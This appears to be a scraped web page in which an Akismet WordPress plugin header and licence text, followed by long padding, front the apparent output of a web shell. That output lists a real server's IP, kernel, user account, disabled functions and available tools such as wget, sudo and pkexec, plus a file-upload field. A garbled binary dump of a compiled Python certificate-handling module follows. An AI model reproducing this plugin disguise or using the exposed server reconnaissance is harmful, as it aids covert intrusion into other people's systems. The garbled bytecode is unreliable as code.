#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
| Server IP : 62.109.13.187 / Your IP : 216.73.216.11 [ Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28 System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : mosrembit ( 6064) PHP Version : 8.2.28 Disable Function : NONE Domains : 0 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /lib64/python2.7/site-packages/subscription_manager/ |
Upload File : |
�
L��ec @` s� d d l m Z m Z m Z d d l Z d d l Z d d l Z d d l Z d d l Z d d l m
Z
d d l m Z d d l
m Z d d l m Z d d l m Z e j e � � Z e j e � Z d e f d � � YZ d
e f d � � YZ d S( i ( t print_functiont divisiont absolute_importN( t create_from_pem( t
initConfig( t Path( t config( t CertificateExceptiont ConsumerIdentityc B` s� e Z d Z e d d Z d Z d Z e d � � Z e d � � Z e
d � � Z e
d � � Z e
d � � Z
d
� Z d � Z d � Z d
� Z d � Z d � Z d � Z d � Z RS( s� Consumer info and certificate information.
Includes helpers for reading/writing consumer identity certificates
from disk.t rhsmt consumerCertDirs key.pems cert.pemc C` s t t j t j t j � � S( N( t strR t joinR t PATHt KEY( ( ( sC /usr/lib64/python2.7/site-packages/subscription_manager/identity.pyt keypath- s c C` s t t j t j t j � � S( N( R R R R R
t CERT( ( ( sC /usr/lib64/python2.7/site-packages/subscription_manager/identity.pyt certpath1 s c C` s[ t | j � � � } | j � } Wd QXt | j � � � } | j � } Wd QXt | | � S( N( t openR t readR R ( t clst key_filet keyt cert_filet cert( ( sC /usr/lib64/python2.7/site-packages/subscription_manager/identity.pyR 5 s
c C` s. t j j | j � � o- t j j | j � � S( N( t ost patht existsR R ( R ( ( sC /usr/lib64/python2.7/site-packages/subscription_manager/identity.pyR = s c C` sU | j � rQ y | j � t SWqQ t k
rM } t j d � t j | � qQ Xn t S( Ns possible certificate corruption( R R t Truet Exceptiont logt warnt errort False( R t e( ( sC /usr/lib64/python2.7/site-packages/subscription_manager/identity.pyt existsAndValidB s
c C` s% | | _ | | _ t | � | _ d S( N( R R R t x509( t selft keystringt
certstring( ( sC /usr/lib64/python2.7/site-packages/subscription_manager/identity.pyt __init__M s c C` s | j j } | j d � S( Nt CN( R$ t subjectt get( R% R* ( ( sC /usr/lib64/python2.7/site-packages/subscription_manager/identity.pyt
getConsumerIdT s c C` s5 | j j } | j d d � j d d � j d � d S( Ns DirName:/CN=t s URI:CN=s , i����( R$ t alt_namet replacet split( R% t altName( ( sC /usr/lib64/python2.7/site-packages/subscription_manager/identity.pyt getConsumerNameX s c C` s
| j j S( N( R$ t serial( R% ( ( sC /usr/lib64/python2.7/site-packages/subscription_manager/identity.pyt getSerialNumber] s c C` s� d d l m } | j � t | j � d � � } | j | j � Wd QXt j | j � | j � t | j
� d � � } | j | j � Wd QXt j | j
� | j � d S( Ni ( t
managerlibt w( t subscription_managerR5 t _ConsumerIdentity__mkdirR R t writeR R t chmodt
ID_CERT_PERMSR R ( R% R5 R R ( ( sC /usr/lib64/python2.7/site-packages/subscription_manager/identity.pyR9 b s
c C` s` | j � } t j j | � r. t j | � n | j � } t j j | � r\ t j | � n d S( N( R R R R t unlinkR ( R% R ( ( sC /usr/lib64/python2.7/site-packages/subscription_manager/identity.pyt deletel s c C` s8 t j | j � } t j j | � s4 t j | � n d S( N( R t absR
R R R t mkdir( R% R ( ( sC /usr/lib64/python2.7/site-packages/subscription_manager/identity.pyt __mkdirt s c C` s d | j � | j � f S( Ns consumer: name="%s", uuid=%s( R2 R, ( R% ( ( sC /usr/lib64/python2.7/site-packages/subscription_manager/identity.pyt __str__y s ( t __name__t
__module__t __doc__t confR
R R t staticmethodR R t classmethodR R R# R( R, R2 R4 R9 R= R8 RA ( ( ( sC /usr/lib64/python2.7/site-packages/subscription_manager/identity.pyR # s"